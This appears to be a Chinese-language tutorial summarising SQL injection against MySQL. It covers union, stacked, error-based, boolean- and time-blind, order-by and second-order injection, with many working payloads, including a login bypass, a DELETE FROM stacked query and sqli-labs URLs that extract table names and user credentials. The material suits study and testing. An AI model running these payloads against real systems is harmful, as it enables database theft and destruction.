SQL注入总结

SQL注入总结

1.什么是SQL注入
SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击目的的技术

2.漏洞产生的前提条件
参数用户可控:前端传给后端的参数内容是可以被用户控制的
参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

必懂基础知识点:

系统函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
system_user()——系统用户名 

user()——用户名

current_user()——当前用户名

session_user()——链接数据库的用户名

database()——数据库名

version()——数据库版本

@@datadir——数据库路径

@@basedir——数据库安装路径

@@version_conpile_os——操作系统

字符串连接函数

1
2
3
4
5
concat(str1,str2,...)——没有分隔符地连接字符串

concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据。

–+可以用#替换,url 提交过程中Url 编码后的#为%23——【注释】

SQL注入中的逻辑运算

1
Select * from users where id=1 and 1=1; 

这条语句为什么能够选择出id=1的内容,and 1=1 到底起作用了没有?这里就要清楚sql 语句执行顺序了。 同时这个问题我们在使用万能密码的时候会用到。Select from admin where username=’admin’ and password=’admin’我们可以用’or 1=1# 作为密码输入。原因是为什么?这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的sql 语句为:Select from admin where username=’admin’ and password=’’or 1=1#’ Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了admin 用户了。原因是在where 子句后, 我们可以看到三个条件语句username=’admin’ andpassword=’’or 1=1。三个条件用and 和or 进行连接。在sql 中,我们and 的运算优先级大于or 的元算优先级。因此可以看到第一个条件(用a 表示)是真的,第二个条件(用b 表示)是假的,a and b = false,第一个条件和第二个条件执行and 后是假,再与第三个条件or 运算,因为第三个条件1=1 是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。

在MYSQL5.0版本后,系统会默认在数据库中存放一个informa_schema的数据库,该库中需要记住三个名:schemata,tables,columns;

1
2
3
schemata表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema_name
tables存放数据所有数据库名和表名,记住这两个字段名table_schema和table_name
columns存放所有的数据库名,表名和列名,需要记住这三个字段名table_schema,table_name,column_name

看到上面的说明应该明白输入information_schema.tables等字段的原因了

注入分类

  1. 按变量类型分类:
    • 数字型
    • 字符型
  2. 按SQL语句提交方式分类:
    • GET注入
    • POST注入
    • Cookie注入
    • Session注入
  3. 按注入方式分类:
    • 有回显:
      • 联合爆破查询注入(union select)
      • 堆叠注入
    • 无回显:
      • 报错注入
      • 时间盲注
      • 布尔盲注

sqli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
可以先查询所有数据库的名称(如果需要跨数据库的话)

union select 1, 2, schema_name from information_schema.schemata

首先查询当前数据库中所有的表名

union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database()

其中group_concat()可以将多行数据转化为一行

利用查询到的表名查询感兴趣的表中的列名

union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='<table_name>'

知道了数据库、数据表、字段名,则直接进行联合查询即可

union select 1,2,group_concat(<column_name>) from [<schema_name>.]<table_name>

MySQL version() < 5.0
MySQL小于5.0的版本就没有了information_schema这个系统数据库,所以通常情况下我们无法查询得到表名,字段名等信息,这个时候就只能靠猜了- -

布尔盲注
布尔盲注使用的条件是:页面对于SQL语句的返回结果不予以显示,并且对于真条件(true)和假条件(false)的返回内容存在差异

我们可以使用永真条件(or 1=1)和永假条件(and 1=2)来判断页面返回的内容是否存在差异,从而确定是否可以使用布尔盲注

比如在Web应用的登录功能,使用如下语句判断用户是否存在:

select * from users where username=$username
当用户不存在时,返回用户名不存在,存在时提示密码错误,这样页面返回的内容存在差异,可以使用布尔盲注。

使用如下payload:' or length(database())>5

如果页面返回正常,说明数据库名的长度确实大于5

当服务端还会判断取出的数据仅有几列时,需要使用到limit字句来限制查询到的数据量,例如

select * from users where username='' or length(database())>5 limit 0,1

该语句的意思是查询结果只取从第0行开始的一行,即第0行本身(MySQL计算行数从0开始),若需要取两行则使用limit 0,2

常用函数
判断字段、表名、数据库名长度
length():用于判断字符串长度,使用方法:length(database()>5)
字符串截取
substring(str, pos[, len]):用于截取字符串,可用于爆破字段名等…。注意MySQL的截取是从1开始计算的,例如:substring('hahaha',3)=='haha'
substr():等价于substring()
mid():等价于substring()
left(str, length):顾名思义,从最左端截取length长度的字符串
right(str, length):顾名思义,从最右端截取length长度的字符串
substring_index(str, delim, count):截取str中第count个delim之前的所有字符
判断字符
ascii(str):返回字符串str的最左面字符的ASCII代码值,常用于逐字拆解,可以结合二分法使用,使用方式:ascii(substr(database(),1,1))<130
ord(str):与ascii()类似
条件判断
if(a, b, c):a为条件,若a为true,则返回b,否则返回c,使用方法:if(1>2,1,0),返回0
判断查询结果是否存在
exists(condition):该语句中的条件语句可以返回记录行时,条件就为真
时间盲注
时间盲注的条件比布尔盲注更加宽松,它不需要页面有任何的回显,它通过判断页面返回内容的响应时间差异进行条件判断

通常我们利用可以产生时间延迟的函数来进行时间盲注,例如:sleep()、benchmark()、以及许多进行复杂运算的函数(笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法),下面是一个简单的例子

select * from users where username='' or if(length(database())>5,sleep(4),1)

在上面的例子里,如果数据库名长度大于5,服务器则会延迟4s给出结果,否则无延迟直接返回(sleep()延迟的时间可以自行决定,原则上只要满足易于区分,并兼顾效率即可)

常用函数
sleep(time):使结果延迟time秒返回

benchmark(count, expr):该函数会重复计算expr表达式count次,这个表达式返回的值为0,但是可以用这个函数来起到延时的效果,使用方式:if(length(database())>5,benchmark(10000000,SHA(1)),1),benchmark(10000000,SHA(1))执行时间大概为4s,取决于服务器,可以自行测试,适当调整

笛卡尔积:例如,select count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C,MySQL会将A、B、C三个表进行笛卡尔积之后再执行count(*),大量的笛卡尔积会耗费很多时间(但是时延不可控,对大站可能会有很高的延迟)

get_lock(str, timeout):这个函数需要有两个session同时包含一个变量,当我们第一个session锁定了str变量,第二个session再尝试包含次变量是就会有timeout秒的延时(使用条件比较苛刻,而且要求Web应用支持SQL的长连接,比如Apache+PHP中的mysql_pconnect())

RLIKE:正则匹配,正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。
例如:

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.22 sec)
报错注入
报错注入的使用条件是:服务器开启报错信息返回,也就是发生错误时返回报错信息。
我们可以利用特殊函数的错误使用使其参数被页面输出,常用的函数有:exp()、floor()+rand()、updatexml()、extractvalue()等

常用函数

exp():该函数是计算以e为底的指数函数,在MySQL中当里面的参数大于709时就会报错,使用方法:select exp(~(select * from(select database())x)),但是高版本已经修复了这个漏洞

floor()+rand():也就是我们常说的双查询注入,使用方法:select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;这样可以查询到version()的值

updatexml(xml_document, xpath_string, new_value):当updatexml()的第二个参数不符合xpath格式时,就会报错并进行输出,使用方法:select * from users where username=$username or updatexml(1,concat(0x7e,(select user()),0x7e),1),这是通过在user()的结果前后加上~使其不满足xpath格式,从而输出的

extractvalue(xml_document, path):第二个参数是xml文档的路径,查询不到也不会报错,但是必须满足/xxx/xxx/xxx的格式,否则会报错,使用方法:select * from users where username=$username or extractvalue(1, concat(0x7e,(select database()))),这样报错就会输出~databese()的值

类型判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
数字型判断
and 1=1 显示

and 1=2 不显示,可以判断注入点是数字型

字符型判断
and 1=1 显示

and 1=2 也显示,到这一步可以排除数字型了

接下来判断是单引号字符还是双引号字符

1.在参数后加加一个'或者"

若加'后,不显示查询结果了,就是单引号字符型
若加"后,不显示查询结果了,就是双引号字符型
2.或者采用如下语句判断

'and 1=1# 显示

' and 1=2#不显示,就可以断定是单引号

但是,如果参数被括号()包裹的话:

如果是数字型加括号($id)

?id=2 and 1=1 会显示1的查询结果 ;因为查询语句中id=(2 and 1=1),2 and 1=1 结果为1

?id=2 and 1=1不显示; (2 and 1=2)相与为0,查询语句变成id=(0)

由以上两点结合,可猜测存在()

如果是字符型加括号('$id')或("$id"),以('$id')为例

?id=2'不显示,因为语句错误
?id=2' and 1=1#和?id=2' and 1=2#不显示,因为有语法错误,()没闭合
由以上两点可以猜测可能有()
括号判断
数字型判断括号:
就根据?id=2 and 1=1,如果返回1的查询结果,就表明有(),相当于数据库中执行id=(2 and 1=1),括号里面是Bool值
如果返回2查询结果,表明没有()
字符型判断括号
有两种方法:

?id=2'&&'1'='1
若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。
若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
7.基于注入点位置
这些只是注入位置,不影响使用某种注入方法

GET型和POST型
想细致了解的看这篇文章GET和POST两种基本请求方法的区别

通俗的说GET注入是在地址栏传参注入

POST注入就是使用POST进行传参的注入

POST注入高危点

登录框
查询框
等各种和数据库有交互的框
Cookie型
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

一阶注入
一般的注入都是一阶注入,输入构造的语句后就执行结果

一阶主要是和二阶注入进行区分

二阶注入
所谓二阶注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二阶注入也是SQL注入的一种,与我们平时接触最多的一阶SQL注入相比利用门槛更高。

普通的一阶SQL注入数据直接就进入到SQL查询中,而二阶SQL注入则是输入数据经处理后存储,然后取出数据,最后才进入到SQL查询。

二阶注入的流程如下:
· 攻击者在HTTP请求中提交某种经过构思的输入。

· 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。

· 攻击者提交第二个(不同的)请求。

· 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。

如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。

56b5e764e4e42f291abcd59ba520fb74

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
案例
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:sql

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

步骤
创建一个admin'#开头的用户名:

admin'#1
admin'#233
admin'#gg
...
注册完成后数据库的记录信息如下

mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin'#hacker 用户,然后来修改当前的密码

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+

防御策略

安全起见,如果转义,就每个地方均转义

堆叠查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
原理
在PHP中,mysqli_multi_query(connection,query)函数可以多语句查询SQL

多查询语句以;分开,堆叠查询就是利用这个特点,在第二个SQL语句中构造自己要执行的语句

union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

用户输入:1; DELETE FROM products服务器端生成的sql语句为:(对输入的参数进行过滤)

Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

可以利用堆叠注入进行增删改查等操作

堆叠注入的局限性
在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

在读取数据时,我们建议使用union(联合)注入。

在使用堆叠注入之前,需要知道一些数据库相关信息的,例如表名,列名等信息。

oracle不能使用堆叠注入

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
floor()报错
原理
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

报错语句
floor()是取整,rand()是0-1间取值

输出字符长度限制为64个字符

mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

关键表被禁用了
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))

xpath语法报错
updatexml() 更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

输出的字符长度有限制,最长输出32位

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了那个子查询代码!

[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错] ~ ~

extractvalue()

语法: extractvalue(目标xml内容,xpath格式的字符串)

输出字符有长度限制,最长32位。

and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

updatexml与extractvalue都是基于xpath语法进行报错的,extractvalue也与其类似。

一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数。

exp报错
原理
exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后取反它的值总会大于709所以报错,适用版本:5.5.5,5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转。

报错语句
这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出

exp(~(select * from(查询语句)a))

union select exp(~(select * from(select database())a))

BIGINT溢出错误
报错语句
!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

几何函数报错
报错语句
GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))

polygon():polygon((select * from(select * from(select user())a)b))

multipoint():multipoint((select * from(select * from(select user())a)b))

multilinestring():multilinestring((select * from(select * from(select user())a)b))

linestring(): LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :multipolygon((select * from(select * from(select user())a)b))

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
布尔盲注

布尔有明显的True跟Flase,也就是说它会根据你的注入信息返回Ture跟Flase,也就没有了之前的报错信息.
时间盲注

页面返回值只有一种Ture,无论输入认识值,返回情况都会按正常来处理.加入特定的时间函数,通过web页面返回的时间差来判断注入语句是否正确。
盲注常用函数
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
scii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入流程
盲注
猜解当前数据库名称长度

and (length(database()))>1

利用ASCII码猜解当前数据库名称

and (ascii(substr(database(),1,1)))=115
--返回正常,说明数据库名称第一位是s

猜表名

and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101
--返回正常,说明数据库表名的第一个的第一位是e

猜字段名

and (ascii(substr((select column_name from information_schema.columns where
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,说明zkaq表中的列名称第一位是f

猜内容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,说明zKaQ列第一位是z

延时注入
and if(ascii(substr(database(),1,1))>1,0,sleep(5))

延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()

10.其他注入
order by 注入
它是指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

判断注入类型
数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

1.基于if语句盲注(数字型)

下面的语句只有order=$id,数字型注入时才能生效,order ='$id'导致if语句变成字符串,功能失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
case基本语法

MySQL 的 case when 的语法有两种:
简单函数
CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END
搜索函数
CASE WHEN [expr] THEN [result1]…ELSE [default] END

select case 'a' when 'a' then 1 else 0 end;
-- 1

select case when 98>12 then 1 else 0 end;
注:可以看出case的用法与if类似,当if被过滤或者,被过滤可以替换为case,并且在时间盲注中,条件语句非常有用!

regexp/rlike 正则表达式注入
用法介绍:select user() regexp '^[a-z]';
Explain:正则表达式的用法,user()结果为root,regexp 为匹配root 的正则表达式。
第二位可以用select user() regexp '^ro'来进行。

结果返回0或者1.

示例介绍:

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri');
通过if 语句的条件判断,返回一些条件句,比如if 等构造一个判断。根据返回结果是否等于0 或者1 进行判断。

select * from users where id=1 and 1=(select 1 from information_schema.tables
where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
这里利用select 构造了一个判断语句。我们只需要更换regexp 表达式即可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username$'来进行判断。^是从开头进行匹配,$是从结尾开始判断。更多的语法可以参考mysql 使用手册进行了解。

但是这种做法是错误的,limit 作用在前面的select 语句中,而不是regexp。那我们该如何选择。其实在regexp 中我们是取匹配table_name 中的内容,只要table_name 中有的内容,我们用regexp 都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。

**注:**regexp是不区分大小写的,需要大小写敏感需要加上binary关键字

select binary database() regexp "^CTF";
like 匹配注入
和上述的正则类似,mysql 在匹配的时候我们可以用like 进行匹配S。

这里可以用于过滤=使用

用法:select user() like ‘ro%’

20210130173142

基于时间的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
order by if(表达式,1,sleep(1))

表达式为true时,正常时间显示

表达式false时,会延迟一段时间显示

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。

计算公式:延迟时间=sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会特别长

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

基于时间的SQL 盲注延时注入

1
2
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
--if 判断语句,条件为假,执行sleep

Ps:遇到以下这种利用sleep()延时注入语句

1
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

该语句意思是在0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

benchmark

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。该函数可以很方便地测试某些特定操作的性能,比如通过测试可以发现,MD5()函数比SHAI()函数要快

1
2
select benchmark(1000000,sha1(sha1(sha1(sha1("1")))));
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

笛卡儿积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

1.count()函数是用来统计表中记录的一个函数,返回匹配条件的行数。
2.count()语法:
(1)count(*)—包括所有列,返回表中的记录数,相当于统计表的行数,在统计结果的时候,不会忽略列值为NULL的记录。
(2)count(1)—忽略所有列,1表示一个固定值,也可以用count(2)count(3)代替,在统计结果的时候,不会忽略列值为NULL的记录。
(3)count(列名)—只包括列名指定列,返回指定列的记录数,在统计结果的时候,会忽略列值为NULL的记录(不包括空字符串和0),即列值为NULL的记录不统计在内。
(4)count(distinct 列名)—只包括列名指定列,返回指定列的不同值的记录数,在统计结果的时候,在统计结果的时候,会忽略列值为NULL的记录(不包括空字符串和0),即列值为NULL的记录不统计在内。
3.count(*)&count(1)&count(列名)执行效率比较:
(1)如果列为主键,count(列名)效率优于count(1)
(2)如果列不为主键,count(1)效率优于count(列名)
(3)如果表中存在主键,count(主键列名)效率最优
(4)如果表中只有一列,则count(*)效率最优
(5)如果表有多列,且不存在主键,则count(1)效率优于count(*)

1
2
select count(*) from information_schema.columns A;
1 row in set (1.47 sec)

get_lock

1
2
SELECT GET_LOCK(key, timeout) FROM DUAL;
SELECT RELEASE_LOCK(key) FROM DUAL;

其中GET_LOCK()和RELEASE_LOCK()分别是两个函数,并且有参数和返回值,这里的DUAL是伪表,在Oracle中很常见,就是一个不存在的表,用来临时记录值的。

  • GET_LOCK有两个参数,一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s),即获取锁失败后等待多久回滚事务。

    这里假设连接A先GET_LOCK(“lock_test”, 10),因为lock_test这个字段在之前没有加锁所以不需要等待,直接返回1,加锁成功。
    然后连接B再GET_LOCK(“lock_test”, 10),等待10s,若这期间没有释放这个字段的锁,则10s过后返回0,连接B加锁失败。
    这里的问题就是这个加锁方式很危险,一旦加锁之后忘记释放,就会一直锁住这个字段,除非连接断开。尤其是第二个参数,千万不要理解成超时时间,并不是设置一个字段的锁,然后超过这个时间就自动释放了,这个是等待时间,即第二次对同一个字段加锁,等待多久然后返回。

  • 这个RELEASE_LOCK就没什么好说的了,记得加锁之后释放就可以了,成功释放回返回1。

在一个连接session中可以先锁定一个变量,例如:select get_lock('aaa',1);

然后再通过另一个连接session,再次执行get_lock函数:select get_lock('aaa',2);,此时将产生2秒的延时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//第一个连接
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)
//打开另一个cmd 再次连接mysql,执行get_lock,发现延时
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
| 0 |
+-------------------+
1 row in set (1.00 sec)

利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用mysql_pconnect(打开一个到 MySQL 服务器的持久连接)函数来连接数据库。在CTF中,只有出题人很刻意的使用这个函数,才暗示使用这个

正则表达式

正则匹配在匹配较长字符串单自由度比较高的字符串时,会有大量的回溯,造成较大的计算量

1
2
3
4
5
6
7
8
9
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (2.94 sec)

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • 适用版本: 5.1.5+
1
2
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

extractvalue()函数

  • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
1
2
select extractvalue(1,concat(0x7e,(select user()),0x7e))
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

三:延时注入

1
2
3
4
5
(1)利用sleep()函数进行注入,当错误的时候会有5 秒的时间延时。
http://127.0.0.1/sqli-labs/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
(2)利用BENCHMARK()进行延时注入
http://127.0.0.1/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000 次,会占用一段时间。

sqli-labs/Less-9的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
--猜测数据库:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
--说明第一位是s (ascii 码是115)
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是e (ascii 码是101)
....
以此类推,我们知道了数据库名字是security
猜测security 的数据表:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是e,...依次类推,得到emails
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是r,...依次类推,得到referers
...
再以此类推,我们可以得到所有的数据表emails,referers,uagents,users
猜测users 表的列:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测users 表的第一个列的第一个字符是i,
以此类推,我们得到列名是id,username,password
猜测username 的值:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜测username 的第一行的第一位
以此类推,我们得到数据库username,password 的所有内容
以上的过程就是我们利用sleep()函数注入的整个过程,当然了可以离开BENCHMARK()函数进
行注入

基于rand()的盲注(数字型)

1
2
3
4
5
6
7
8
9
10
11
rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。

报错注入

1
2
3
4
5
6
7
8
9
order by updatexml(1,if(1=2,1,(表达式)),1)

order by extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名

若改成1=1,则页面正常显示

基于报错的SQL 盲注

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数

报错注入就是利用了数据库的某些机制,认为的制造错误条件,使得查询结果能够
出现在错误信息中。

构造payload 让信息通过错误提示回显出来

1
